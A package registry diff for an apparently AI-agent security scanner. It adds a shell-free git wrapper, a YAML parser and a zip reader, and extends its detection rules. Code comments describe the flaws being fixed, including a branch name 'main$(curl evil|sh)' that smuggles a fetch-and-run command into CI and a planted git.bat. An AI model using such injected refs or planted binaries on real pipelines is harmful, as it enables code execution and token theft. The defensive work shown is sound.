@shomra/agent 0.3.29 → 0.3.30
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/agents/hook-command.mjs +1 -1
- package/src/artifacts/matchers.mjs +7 -0
- package/src/cli/flags.mjs +2 -2
- package/src/cli/help-sections.mjs +7 -0
- package/src/cli/help.mjs +1 -1
- package/src/commands/check.mjs +3 -11
- package/src/commands/gate.mjs +26 -4
- package/src/commands/git-hooks.mjs +2 -2
- package/src/commands/ledger.mjs +0 -1
- package/src/commands/mcp-add.mjs +2 -1
- package/src/commands/memory-scan.mjs +135 -47
- package/src/commands/pr.mjs +7 -10
- package/src/commands/provenance.mjs +8 -13
- package/src/commands/scan.mjs +7 -1
- package/src/commands/secrets.mjs +4 -5
- package/src/core/git-exec.mjs +79 -0
- package/src/core/yaml-lite.mjs +300 -0
- package/src/core/zip-lite.mjs +37 -0
- package/src/detect/local-redact.mjs +1 -3
- package/src/detect/sast/rules-config.mjs +1 -1
- package/src/detect/sast/scanner.mjs +1 -1
- package/src/detect/signals/agent-frameworks.mjs +231 -0
- package/src/detect/signals/agent-graph-surface.mjs +113 -0
- package/src/detect/signals/agentic-ci-surface.mjs +314 -0
- package/src/detect/signals/agentic-shim.mjs +82 -0
- package/src/detect/signals/artifacts.mjs +7 -35
- package/src/detect/signals/chat-template.mjs +211 -0
- package/src/detect/signals/ci-workflow.mjs +169 -0
- package/src/detect/signals/gate.mjs +77 -9
- package/src/detect/signals/guardrail-shape.mjs +564 -0
- package/src/detect/signals/guardrail-surface.mjs +221 -0
- package/src/detect/signals/injection.mjs +8 -0
- package/src/detect/signals/inspect-shim.mjs +7 -0
- package/src/detect/signals/instruction-paths.mjs +60 -0
- package/src/detect/signals/manifests.mjs +302 -0
- package/src/detect/signals/mcp-advisories.mjs +109 -0
- package/src/detect/signals/mcp-config.mjs +598 -0
- package/src/detect/signals/memory-directives.mjs +661 -0
- package/src/detect/signals/memory-locations.mjs +158 -0
- package/src/detect/signals/memory.mjs +47 -29
- package/src/detect/signals/model-config-rules.mjs +655 -0
- package/src/detect/signals/model-config.mjs +61 -0
- package/src/detect/signals/prose-context.mjs +6 -9
- package/src/detect/signals/scan.mjs +4 -4
- package/src/detect/signals/secret-scanner.mjs +241 -0
- package/src/detect/signals/secrets.mjs +1 -48
- package/src/detect/signals/shell.mjs +3 -3
- package/src/gate/advisories.mjs +16 -0
- package/src/gate/batch.mjs +10 -0
- package/src/gate/environment.mjs +8 -53
- package/src/guard/artifact-paths.mjs +107 -0
- package/src/guard/classify.mjs +165 -7
- package/src/guard/command-resolve.mjs +35 -5
- package/src/guard/memory-write.mjs +218 -0
- package/src/guard/prompt-guard.mjs +0 -1
- package/src/guard/tool-guard.mjs +52 -77
- package/src/inventory/agent-posture.mjs +236 -57
- package/src/inventory/artifacts/classify.mjs +10 -1
- package/src/inventory/artifacts/discover.mjs +113 -3
- package/src/inventory/artifacts/extensions.mjs +70 -0
- package/src/inventory/artifacts/hook-scripts.mjs +128 -0
- package/src/inventory/artifacts/limits.mjs +1 -1
- package/src/inventory/artifacts/plugins.mjs +105 -0
- package/src/inventory/artifacts/roots.mjs +40 -0
- package/src/inventory/discovery/ai-dependencies.mjs +39 -12
- package/src/inventory/discovery/all.mjs +4 -0
- package/src/inventory/discovery/cloud-clis.mjs +472 -0
- package/src/inventory/discovery/coding-agents.mjs +19 -4
- package/src/inventory/discovery/mcp-clients.mjs +16 -10
- package/src/inventory/discovery/mcp-servers.mjs +125 -35
- package/src/inventory/discovery/mcp-stores.mjs +207 -0
- package/src/inventory/env-redirect.mjs +148 -0
- package/src/inventory/grant-extract.mjs +463 -0
- package/src/inventory/project-roots.mjs +108 -0
- package/src/inventory/vscode-state.mjs +153 -0
- package/src/mcp/server-tools.mjs +1 -1
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
import { execFileSync } from 'node:child_process';
|
|
2
|
+
import fs from 'node:fs';
|
|
3
|
+
import path from 'node:path';
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* WHICH `git` RUNS - NEVER ONE THE SCANNED REPOSITORY SHIPS.
|
|
7
|
+
*
|
|
8
|
+
* ⚠ On Windows a bare `git` is looked for in the working directory BEFORE PATH:
|
|
9
|
+
* cmd.exe does it for `execSync('git …')` (trying git.exe, git.bat, git.cmd…),
|
|
10
|
+
* and Node does it for `execFileSync('git')` (git.exe, git.com) unless
|
|
11
|
+
* NoDefaultCurrentDirectoryInExePath is set - which on a developer's machine or
|
|
12
|
+
* a Windows CI runner it normally is not. The working directory is the
|
|
13
|
+
* repository being checked, so a `git.bat` committed to a pull request ran the
|
|
14
|
+
* moment `shomra check` looked at it - with the job's token in its environment,
|
|
15
|
+
* or on the laptop of whoever opened the repo in the editor extension. git is
|
|
16
|
+
* resolved here against ABSOLUTE PATH directories only and always run by its full
|
|
17
|
+
* path; no git on PATH means no git, which every caller already treats as
|
|
18
|
+
* "not a repository".
|
|
19
|
+
*/
|
|
20
|
+
export function resolveOnPath(name, env = process.env, platform = process.platform) {
|
|
21
|
+
const p = platform === 'win32' ? path.win32 : path.posix;
|
|
22
|
+
const names = platform === 'win32' ? [`${name}.exe`, `${name}.com`] : [name];
|
|
23
|
+
for (const raw of String(env.PATH ?? env.Path ?? '').split(p.delimiter)) {
|
|
24
|
+
const dir = raw.trim().replace(/^"(.*)"$/, '$1');
|
|
25
|
+
if (!dir || !p.isAbsolute(dir)) continue;
|
|
26
|
+
for (const n of names) {
|
|
27
|
+
const candidate = p.join(dir, n);
|
|
28
|
+
try {
|
|
29
|
+
if (!fs.statSync(candidate).isFile()) continue;
|
|
30
|
+
if (platform !== 'win32') fs.accessSync(candidate, fs.constants.X_OK);
|
|
31
|
+
return candidate;
|
|
32
|
+
} catch {
|
|
33
|
+
/* not in this directory */
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
return null;
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
let gitBinary;
|
|
41
|
+
function gitPath() {
|
|
42
|
+
if (gitBinary === undefined) gitBinary = resolveOnPath('git');
|
|
43
|
+
return gitBinary;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
/**
|
|
47
|
+
* GIT, WITHOUT A SHELL.
|
|
48
|
+
*
|
|
49
|
+
* ⚠ `execSync(`git ${args}`)` handed the whole line to a shell, and part of that
|
|
50
|
+
* line was a BRANCH NAME - from `--base`, from `GITHUB_BASE_REF`, or from the
|
|
51
|
+
* pull-request event payload. `$(...)`, `;` and `|` are all legal in a git ref,
|
|
52
|
+
* so a branch called `main$(curl evil|sh)` ran inside the customer's CI job,
|
|
53
|
+
* with the job's GitHub token in its environment. Arguments now go to git as an
|
|
54
|
+
* argv array, where a metacharacter is just a character.
|
|
55
|
+
*/
|
|
56
|
+
export function git(args, { cwd, timeout = 5000, maxBuffer = 16 * 1024 * 1024 } = {}) {
|
|
57
|
+
const bin = gitPath();
|
|
58
|
+
if (!bin) return null;
|
|
59
|
+
try {
|
|
60
|
+
return execFileSync(bin, args, { cwd, stdio: ['ignore', 'pipe', 'ignore'], timeout, maxBuffer, windowsHide: true }).toString();
|
|
61
|
+
} catch {
|
|
62
|
+
return null;
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
/**
|
|
67
|
+
* A ref we are willing to pass as a REVISION argument.
|
|
68
|
+
*
|
|
69
|
+
* ⚠ argv closes the shell hole, not the option hole: a ref beginning with `-` is
|
|
70
|
+
* read by git as a flag (`--output=/etc/...`). Refused, along with anything git's
|
|
71
|
+
* own check-ref-format would refuse.
|
|
72
|
+
*/
|
|
73
|
+
export function safeRef(ref) {
|
|
74
|
+
const r = String(ref ?? '').trim();
|
|
75
|
+
if (!r || r.length > 200) return null;
|
|
76
|
+
if (r.startsWith('-') || r.includes('..') || r.endsWith('.lock') || r.endsWith('/') || r.endsWith('.')) return null;
|
|
77
|
+
if (!/^[A-Za-z0-9._\/+-]+$/.test(r)) return null;
|
|
78
|
+
return r;
|
|
79
|
+
}
|
|
@@ -0,0 +1,300 @@
|
|
|
1
|
+
const MAX_BYTES = 1024 * 1024;
|
|
2
|
+
const MAX_DEPTH = 64;
|
|
3
|
+
const MAX_ALIASES = 1000;
|
|
4
|
+
const MAX_EXPANDED = 100_000;
|
|
5
|
+
|
|
6
|
+
class YamlError extends Error {}
|
|
7
|
+
|
|
8
|
+
function stripComment(s) {
|
|
9
|
+
let q = null;
|
|
10
|
+
for (let i = 0; i < s.length; i++) {
|
|
11
|
+
const c = s[i];
|
|
12
|
+
if (q) {
|
|
13
|
+
if (q === '"' && c === '\\') { i++; continue; }
|
|
14
|
+
if (c === q) q = null;
|
|
15
|
+
continue;
|
|
16
|
+
}
|
|
17
|
+
if (c === '"' || c === "'") {
|
|
18
|
+
if (i === 0 || /[\s:,[{-]/.test(s[i - 1])) q = c;
|
|
19
|
+
continue;
|
|
20
|
+
}
|
|
21
|
+
if (c === '#' && (i === 0 || /\s/.test(s[i - 1]))) return s.slice(0, i).trimEnd();
|
|
22
|
+
}
|
|
23
|
+
return s.trimEnd();
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function scalar(raw) {
|
|
27
|
+
const v = raw.trim();
|
|
28
|
+
if (v === '' || v === '~' || v === 'null' || v === 'Null' || v === 'NULL') return null;
|
|
29
|
+
if (/^(?:true|True|TRUE)$/.test(v)) return true;
|
|
30
|
+
if (/^(?:false|False|FALSE)$/.test(v)) return false;
|
|
31
|
+
if (/^[-+]?\d+$/.test(v) && v.length < 16) return Number(v);
|
|
32
|
+
if (/^[-+]?(?:\d+\.\d*|\.\d+)(?:[eE][-+]?\d+)?$/.test(v)) return Number(v);
|
|
33
|
+
if (v[0] === '"') return doubleQuoted(v);
|
|
34
|
+
if (v[0] === "'") return v.slice(1, v.endsWith("'") ? -1 : undefined).replace(/''/g, "'");
|
|
35
|
+
return v;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function doubleQuoted(v) {
|
|
39
|
+
const body = v.slice(1, v.endsWith('"') ? -1 : undefined);
|
|
40
|
+
return body.replace(/\\(u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|.)/g, (_, e) => {
|
|
41
|
+
if (e[0] === 'u' || e[0] === 'x') return String.fromCharCode(parseInt(e.slice(1), 16));
|
|
42
|
+
return { n: '\n', t: '\t', r: '\r', '0': '\0', '"': '"', '\\': '\\', '/': '/', ' ': ' ', b: '\b', e: '\x1b' }[e] ?? e;
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function parseFlow(src, ctx) {
|
|
47
|
+
let i = 0;
|
|
48
|
+
const ws = () => { while (i < src.length && /\s/.test(src[i])) i++; };
|
|
49
|
+
const value = (depth) => {
|
|
50
|
+
if (depth > MAX_DEPTH) throw new YamlError('depth');
|
|
51
|
+
ws();
|
|
52
|
+
const c = src[i];
|
|
53
|
+
if (c === '[') {
|
|
54
|
+
i++;
|
|
55
|
+
const out = [];
|
|
56
|
+
for (;;) {
|
|
57
|
+
ws();
|
|
58
|
+
if (src[i] === ']') { i++; return out; }
|
|
59
|
+
if (i >= src.length) throw new YamlError('unterminated [');
|
|
60
|
+
out.push(value(depth + 1));
|
|
61
|
+
ws();
|
|
62
|
+
if (src[i] === ',') i++;
|
|
63
|
+
else if (src[i] !== ']') throw new YamlError('flow seq');
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
if (c === '{') {
|
|
67
|
+
i++;
|
|
68
|
+
const out = {};
|
|
69
|
+
for (;;) {
|
|
70
|
+
ws();
|
|
71
|
+
if (src[i] === '}') { i++; return out; }
|
|
72
|
+
if (i >= src.length) throw new YamlError('unterminated {');
|
|
73
|
+
const k = token(true);
|
|
74
|
+
ws();
|
|
75
|
+
let v = null;
|
|
76
|
+
if (src[i] === ':') { i++; v = value(depth + 1); }
|
|
77
|
+
out[String(k ?? '')] = v;
|
|
78
|
+
ws();
|
|
79
|
+
if (src[i] === ',') i++;
|
|
80
|
+
else if (src[i] !== '}') throw new YamlError('flow map');
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
return token(false);
|
|
84
|
+
};
|
|
85
|
+
const token = (isKey) => {
|
|
86
|
+
ws();
|
|
87
|
+
const c = src[i];
|
|
88
|
+
if (c === '"' || c === "'") {
|
|
89
|
+
let j = i + 1;
|
|
90
|
+
while (j < src.length) {
|
|
91
|
+
if (c === '"' && src[j] === '\\') { j += 2; continue; }
|
|
92
|
+
if (src[j] === c) { if (c === "'" && src[j + 1] === "'") { j += 2; continue; } break; }
|
|
93
|
+
j++;
|
|
94
|
+
}
|
|
95
|
+
const raw = src.slice(i, j + 1);
|
|
96
|
+
i = j + 1;
|
|
97
|
+
return scalar(raw);
|
|
98
|
+
}
|
|
99
|
+
if (c === '*') {
|
|
100
|
+
let j = i + 1;
|
|
101
|
+
while (j < src.length && !/[\s,\]}]/.test(src[j])) j++;
|
|
102
|
+
const name = src.slice(i + 1, j);
|
|
103
|
+
i = j;
|
|
104
|
+
return ctx.alias(name);
|
|
105
|
+
}
|
|
106
|
+
let j = i;
|
|
107
|
+
while (j < src.length && !(src[j] === ',' || src[j] === ']' || src[j] === '}' || (isKey && src[j] === ':' && /[\s,\]}]|$/.test(src[j + 1] ?? '')))) j++;
|
|
108
|
+
const raw = src.slice(i, j);
|
|
109
|
+
i = j;
|
|
110
|
+
return scalar(raw);
|
|
111
|
+
};
|
|
112
|
+
const out = value(0);
|
|
113
|
+
return out;
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
function balanced(s) {
|
|
117
|
+
let depth = 0;
|
|
118
|
+
let q = null;
|
|
119
|
+
for (let i = 0; i < s.length; i++) {
|
|
120
|
+
const c = s[i];
|
|
121
|
+
if (q) { if (q === '"' && c === '\\') i++; else if (c === q) q = null; continue; }
|
|
122
|
+
if (c === '"' || c === "'") q = c;
|
|
123
|
+
else if (c === '[' || c === '{') depth++;
|
|
124
|
+
else if (c === ']' || c === '}') depth--;
|
|
125
|
+
}
|
|
126
|
+
return depth <= 0;
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
export function parseYaml(text) {
|
|
130
|
+
if (typeof text !== 'string' || text.length > MAX_BYTES) return null;
|
|
131
|
+
const rawLines = text.replace(/^/, '').replace(/\t/g, ' ').split(/\r?\n/);
|
|
132
|
+
const lines = [];
|
|
133
|
+
let started = false;
|
|
134
|
+
for (let n = 0; n < rawLines.length; n++) {
|
|
135
|
+
const raw = rawLines[n];
|
|
136
|
+
if (/^%/.test(raw) && !started) continue;
|
|
137
|
+
if (/^(?:---|\.\.\.)(?:\s|$)/.test(raw)) {
|
|
138
|
+
if (started) break;
|
|
139
|
+
const rest = raw.replace(/^---\s*/, '');
|
|
140
|
+
if (rest && !rest.startsWith('#')) { started = true; lines.push({ indent: 0, text: rest, raw, n }); }
|
|
141
|
+
continue;
|
|
142
|
+
}
|
|
143
|
+
const indent = raw.search(/\S/);
|
|
144
|
+
if (indent === -1) { lines.push({ indent: -1, text: '', raw, n }); continue; }
|
|
145
|
+
const stripped = stripComment(raw.slice(indent));
|
|
146
|
+
if (!stripped) continue;
|
|
147
|
+
started = true;
|
|
148
|
+
lines.push({ indent, text: stripped, raw, n });
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
const anchors = new Map();
|
|
152
|
+
let aliasUses = 0;
|
|
153
|
+
let expanded = 0;
|
|
154
|
+
const weights = new WeakMap();
|
|
155
|
+
const weight = (v) => {
|
|
156
|
+
if (!v || typeof v !== 'object') return 1;
|
|
157
|
+
if (weights.has(v)) return weights.get(v);
|
|
158
|
+
weights.set(v, 1);
|
|
159
|
+
let w = 1;
|
|
160
|
+
for (const c of Array.isArray(v) ? v : Object.values(v)) { w += weight(c); if (w > MAX_EXPANDED) break; }
|
|
161
|
+
weights.set(v, w);
|
|
162
|
+
return w;
|
|
163
|
+
};
|
|
164
|
+
const ctx = {
|
|
165
|
+
alias(name) {
|
|
166
|
+
if (++aliasUses > MAX_ALIASES) throw new YamlError('alias bomb');
|
|
167
|
+
if (!anchors.has(name)) throw new YamlError(`unknown alias ${name}`);
|
|
168
|
+
const v = anchors.get(name);
|
|
169
|
+
expanded += weight(v);
|
|
170
|
+
if (expanded > MAX_EXPANDED) throw new YamlError('alias bomb');
|
|
171
|
+
return v;
|
|
172
|
+
},
|
|
173
|
+
};
|
|
174
|
+
let i = 0;
|
|
175
|
+
const peek = () => { while (i < lines.length && lines[i].indent === -1) i++; return lines[i]; };
|
|
176
|
+
|
|
177
|
+
const KEY_RE = /^(?:"((?:[^"\\]|\\.)*)"|'((?:[^']|'')*)'|([^\s#'"{[][^:]*?|[^\s#'"{[]))\s*:(?:\s+(.*)|$)/;
|
|
178
|
+
|
|
179
|
+
function blockScalar(header, parentIndent) {
|
|
180
|
+
const style = header[0];
|
|
181
|
+
const chomp = /-/.test(header) ? 'strip' : /\+/.test(header) ? 'keep' : 'clip';
|
|
182
|
+
const explicit = /\d/.exec(header);
|
|
183
|
+
const collected = [];
|
|
184
|
+
let blockIndent = explicit ? parentIndent + Number(explicit[0]) : -1;
|
|
185
|
+
while (i < lines.length) {
|
|
186
|
+
const l = lines[i];
|
|
187
|
+
const rawIndent = l.raw.search(/\S/);
|
|
188
|
+
if (rawIndent === -1) { collected.push(''); i++; continue; }
|
|
189
|
+
if (rawIndent <= parentIndent) break;
|
|
190
|
+
if (blockIndent === -1) blockIndent = rawIndent;
|
|
191
|
+
if (rawIndent < blockIndent) break;
|
|
192
|
+
collected.push(l.raw.replace(/\t/g, ' ').slice(blockIndent));
|
|
193
|
+
i++;
|
|
194
|
+
}
|
|
195
|
+
while (collected.length && collected[collected.length - 1] === '' && chomp !== 'keep') collected.pop();
|
|
196
|
+
let out;
|
|
197
|
+
if (style === '|') out = collected.join('\n');
|
|
198
|
+
else {
|
|
199
|
+
out = '';
|
|
200
|
+
for (let k = 0; k < collected.length; k++) {
|
|
201
|
+
const line = collected[k];
|
|
202
|
+
if (line === '') out += '\n';
|
|
203
|
+
else if (/^\s/.test(line)) out += (out && !out.endsWith('\n') ? '\n' : '') + line + '\n';
|
|
204
|
+
else out += (out && !out.endsWith('\n') && !out.endsWith(' ') ? ' ' : '') + line;
|
|
205
|
+
}
|
|
206
|
+
out = out.replace(/\n+$/, '');
|
|
207
|
+
}
|
|
208
|
+
return chomp === 'strip' ? out : out + '\n';
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
function inlineValue(rest, parentIndent, depth) {
|
|
212
|
+
let v = rest.trim();
|
|
213
|
+
let anchor = null;
|
|
214
|
+
const am = /^&([^\s,\]}]+)\s*(.*)$/.exec(v);
|
|
215
|
+
if (am) { anchor = am[1]; v = am[2]; }
|
|
216
|
+
v = v.replace(/^!\S*\s*/, ''); // tags are ignored
|
|
217
|
+
let out;
|
|
218
|
+
if (v === '') {
|
|
219
|
+
const nx = peek();
|
|
220
|
+
if (nx && (nx.indent > parentIndent || (nx.indent === parentIndent && /^-(?:\s|$)/.test(nx.text)))) out = node(nx.indent, depth + 1);
|
|
221
|
+
else out = null;
|
|
222
|
+
} else if (/^[|>][-+0-9]*$/.test(v)) out = blockScalar(v, parentIndent);
|
|
223
|
+
else if (v[0] === '*') out = ctx.alias(v.slice(1).trim());
|
|
224
|
+
else if (v[0] === '[' || v[0] === '{') {
|
|
225
|
+
let src = v;
|
|
226
|
+
while (!balanced(src) && i < lines.length) { const l = lines[i++]; if (l.indent !== -1) src += ' ' + l.text; }
|
|
227
|
+
out = parseFlow(src, ctx);
|
|
228
|
+
} else if ((v[0] === '"' && !/"$/.test(v.slice(1))) || (v[0] === "'" && !/'$/.test(v.slice(1)))) {
|
|
229
|
+
let src = v;
|
|
230
|
+
const q = v[0];
|
|
231
|
+
while (i < lines.length && !new RegExp(`${q}\\s*$`).test(src.slice(1))) { const l = lines[i++]; src += ' ' + (l.indent === -1 ? '' : l.text); }
|
|
232
|
+
out = scalar(src);
|
|
233
|
+
} else {
|
|
234
|
+
let src = v;
|
|
235
|
+
while (i < lines.length) {
|
|
236
|
+
const l = lines[i];
|
|
237
|
+
if (l.indent === -1 || l.indent <= parentIndent || KEY_RE.test(l.text) || /^-(?:\s|$)/.test(l.text)) break;
|
|
238
|
+
src += ' ' + l.text;
|
|
239
|
+
i++;
|
|
240
|
+
}
|
|
241
|
+
out = scalar(src);
|
|
242
|
+
}
|
|
243
|
+
if (anchor) anchors.set(anchor, out);
|
|
244
|
+
return out;
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
function node(indent, depth) {
|
|
248
|
+
if (depth > MAX_DEPTH) throw new YamlError('depth');
|
|
249
|
+
const l = peek();
|
|
250
|
+
if (!l) return null;
|
|
251
|
+
if (/^-(?:\s|$)/.test(l.text)) return seq(l.indent, depth);
|
|
252
|
+
if (KEY_RE.test(l.text)) return map(l.indent, depth);
|
|
253
|
+
i++;
|
|
254
|
+
return inlineValue(l.text, indent - 1, depth);
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
function seq(indent, depth) {
|
|
258
|
+
const out = [];
|
|
259
|
+
for (;;) {
|
|
260
|
+
const l = peek();
|
|
261
|
+
if (!l || l.indent !== indent || !/^-(?:\s|$)/.test(l.text)) break;
|
|
262
|
+
const content = l.text.replace(/^-\s*/, '');
|
|
263
|
+
const offset = l.text.length - content.length;
|
|
264
|
+
if (content && (KEY_RE.test(content) || /^-(?:\s|$)/.test(content)) && !/^[[{"']/.test(content)) {
|
|
265
|
+
lines[i] = { ...l, indent: indent + offset, text: content };
|
|
266
|
+
out.push(node(indent + offset, depth + 1));
|
|
267
|
+
} else {
|
|
268
|
+
i++;
|
|
269
|
+
out.push(inlineValue(content, indent, depth));
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
return out;
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
function map(indent, depth) {
|
|
276
|
+
const out = {};
|
|
277
|
+
const merges = [];
|
|
278
|
+
for (;;) {
|
|
279
|
+
const l = peek();
|
|
280
|
+
if (!l || l.indent !== indent) break;
|
|
281
|
+
const m = KEY_RE.exec(l.text);
|
|
282
|
+
if (!m) break;
|
|
283
|
+
i++;
|
|
284
|
+
const key = m[1] != null ? doubleQuoted(`"${m[1]}"`) : m[2] != null ? m[2].replace(/''/g, "'") : m[3].trim();
|
|
285
|
+
const val = inlineValue(m[4] ?? '', indent, depth);
|
|
286
|
+
if (key === '<<') merges.push(...(Array.isArray(val) ? val : [val]));
|
|
287
|
+
else out[key] = val;
|
|
288
|
+
}
|
|
289
|
+
for (const src of merges) if (src && typeof src === 'object' && !Array.isArray(src)) for (const [k, v] of Object.entries(src)) if (!(k in out)) out[k] = v;
|
|
290
|
+
return out;
|
|
291
|
+
}
|
|
292
|
+
|
|
293
|
+
try {
|
|
294
|
+
const first = peek();
|
|
295
|
+
if (!first) return null;
|
|
296
|
+
return node(first.indent, 0);
|
|
297
|
+
} catch {
|
|
298
|
+
return null;
|
|
299
|
+
}
|
|
300
|
+
}
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
import zlib from 'node:zlib';
|
|
2
|
+
|
|
3
|
+
export function readZipEntry(buf, wanted, { maxBytes = 1024 * 1024 } = {}) {
|
|
4
|
+
if (!Buffer.isBuffer(buf) || buf.length < 22) return null;
|
|
5
|
+
let eocd = -1;
|
|
6
|
+
for (let i = buf.length - 22; i >= Math.max(0, buf.length - 22 - 0xffff); i--) {
|
|
7
|
+
if (buf.readUInt32LE(i) === 0x06054b50) { eocd = i; break; }
|
|
8
|
+
}
|
|
9
|
+
if (eocd < 0) return null;
|
|
10
|
+
const count = buf.readUInt16LE(eocd + 10);
|
|
11
|
+
let p = buf.readUInt32LE(eocd + 16);
|
|
12
|
+
const want = String(wanted).replace(/\\/g, '/').toLowerCase();
|
|
13
|
+
for (let n = 0; n < count && p + 46 <= buf.length; n++) {
|
|
14
|
+
if (buf.readUInt32LE(p) !== 0x02014b50) return null;
|
|
15
|
+
const method = buf.readUInt16LE(p + 10);
|
|
16
|
+
const csize = buf.readUInt32LE(p + 20);
|
|
17
|
+
const usize = buf.readUInt32LE(p + 24);
|
|
18
|
+
const nlen = buf.readUInt16LE(p + 28);
|
|
19
|
+
const elen = buf.readUInt16LE(p + 30);
|
|
20
|
+
const clen = buf.readUInt16LE(p + 32);
|
|
21
|
+
const local = buf.readUInt32LE(p + 42);
|
|
22
|
+
const name = buf.slice(p + 46, p + 46 + nlen).toString('utf8').replace(/\\/g, '/');
|
|
23
|
+
p += 46 + nlen + elen + clen;
|
|
24
|
+
if (name.toLowerCase() !== want) continue;
|
|
25
|
+
if (usize > maxBytes || local + 30 > buf.length || buf.readUInt32LE(local) !== 0x04034b50) return null;
|
|
26
|
+
const start = local + 30 + buf.readUInt16LE(local + 26) + buf.readUInt16LE(local + 28);
|
|
27
|
+
const data = buf.slice(start, start + csize);
|
|
28
|
+
try {
|
|
29
|
+
if (method === 0) return data.slice(0, maxBytes).toString('utf8');
|
|
30
|
+
if (method === 8) return zlib.inflateRawSync(data, { maxOutputLength: maxBytes }).toString('utf8');
|
|
31
|
+
} catch {
|
|
32
|
+
return null;
|
|
33
|
+
}
|
|
34
|
+
return null;
|
|
35
|
+
}
|
|
36
|
+
return null;
|
|
37
|
+
}
|
|
@@ -3,7 +3,6 @@ import { PII_PATTERNS, SECRET_PATTERNS, isPlaceholderSecret, luhnValid } from '.
|
|
|
3
3
|
const MAX_TEXT = 200_000;
|
|
4
4
|
const MAX_SPANS = 200;
|
|
5
5
|
|
|
6
|
-
|
|
7
6
|
export function redactLocally(text, opts = {}) {
|
|
8
7
|
const src = String(text ?? '');
|
|
9
8
|
if (!src || src.length > MAX_TEXT) return { text: src, masked: [], unmaskable: [], changed: false };
|
|
@@ -17,7 +16,7 @@ export function redactLocally(text, opts = {}) {
|
|
|
17
16
|
let guard = 0;
|
|
18
17
|
while ((m = rx.exec(src)) !== null && guard++ < MAX_SPANS) {
|
|
19
18
|
if (!m[0]) { rx.lastIndex += 1; continue; }
|
|
20
|
-
if (category === 'secret' && isPlaceholderSecret(m[0])) continue;
|
|
19
|
+
if (category === 'secret' && !/private key/i.test(label) && isPlaceholderSecret(m[0])) continue;
|
|
21
20
|
if (label === 'Credit card number' && !luhnValid(m[0])) continue;
|
|
22
21
|
spans.push({ start: m.index, end: m.index + m[0].length, label, category });
|
|
23
22
|
}
|
|
@@ -54,7 +53,6 @@ export function redactLocally(text, opts = {}) {
|
|
|
54
53
|
return { text: out, masked, unmaskable: [], changed: true };
|
|
55
54
|
}
|
|
56
55
|
|
|
57
|
-
|
|
58
56
|
export function unmaskableFindings(findings, redaction) {
|
|
59
57
|
const maskedLabels = new Set((redaction?.masked ?? []).flatMap((m) => String(m.label).split(' + ')));
|
|
60
58
|
return (findings ?? [])
|
|
@@ -18,7 +18,7 @@ export const CONFIG_RULES = [
|
|
|
18
18
|
severity: 'HIGH',
|
|
19
19
|
category: 'remote-code',
|
|
20
20
|
confidence: 0.8,
|
|
21
|
-
re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor)"\s*:\s*"([^"]+)"/,
|
|
21
|
+
re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor|AutoVideoProcessor)"\s*:\s*(?:"([^"]+)"|\[\s*(?:null\s*,\s*)?"([^"]+)")/,
|
|
22
22
|
sink: (m) => `auto_map.${m[1]}`,
|
|
23
23
|
message: 'config maps a tokenizer/processor class to repo-shipped code, executed under trust_remote_code when the tokenizer loads.',
|
|
24
24
|
remediation: 'Review the referenced tokenizer code before loading; prefer a model whose tokenizer ships with transformers.',
|
|
@@ -84,7 +84,7 @@ const JS_EXT = /\.(m|c)?[jt]sx?$/i;
|
|
|
84
84
|
|
|
85
85
|
const NB_EXT = /\.ipynb$/i;
|
|
86
86
|
|
|
87
|
-
const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config)\.json$/i;
|
|
87
|
+
const MODEL_CONFIG_RE = /(^|\/)(config|tokenizer_config|generation_config|preprocessor_config|processor_config|adapter_config|config_sentence_transformers)\.json$/i;
|
|
88
88
|
|
|
89
89
|
export function isScannableSource(path) {
|
|
90
90
|
return PY_EXT.test(path) || JS_EXT.test(path) || NB_EXT.test(path);
|